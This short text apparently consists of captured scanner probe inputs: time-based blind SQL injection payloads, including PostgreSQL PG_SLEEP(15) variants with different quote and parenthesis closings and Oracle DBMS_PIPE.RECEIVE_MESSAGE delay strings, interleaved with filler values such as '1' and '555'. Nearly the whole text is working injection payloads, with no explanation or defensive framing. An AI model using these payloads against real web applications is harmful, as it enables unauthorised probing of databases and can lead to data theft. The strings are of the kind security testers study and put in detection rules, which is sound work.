555OKNcjD7E' OR 486=(SELECT 486 FROM PG_SLEEP(15))--

1

555gjRJMtBo') OR 276=(SELECT 276 FROM PG_SLEEP(15))--

1

1

555eYr01oEr')) OR 128=(SELECT 128 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555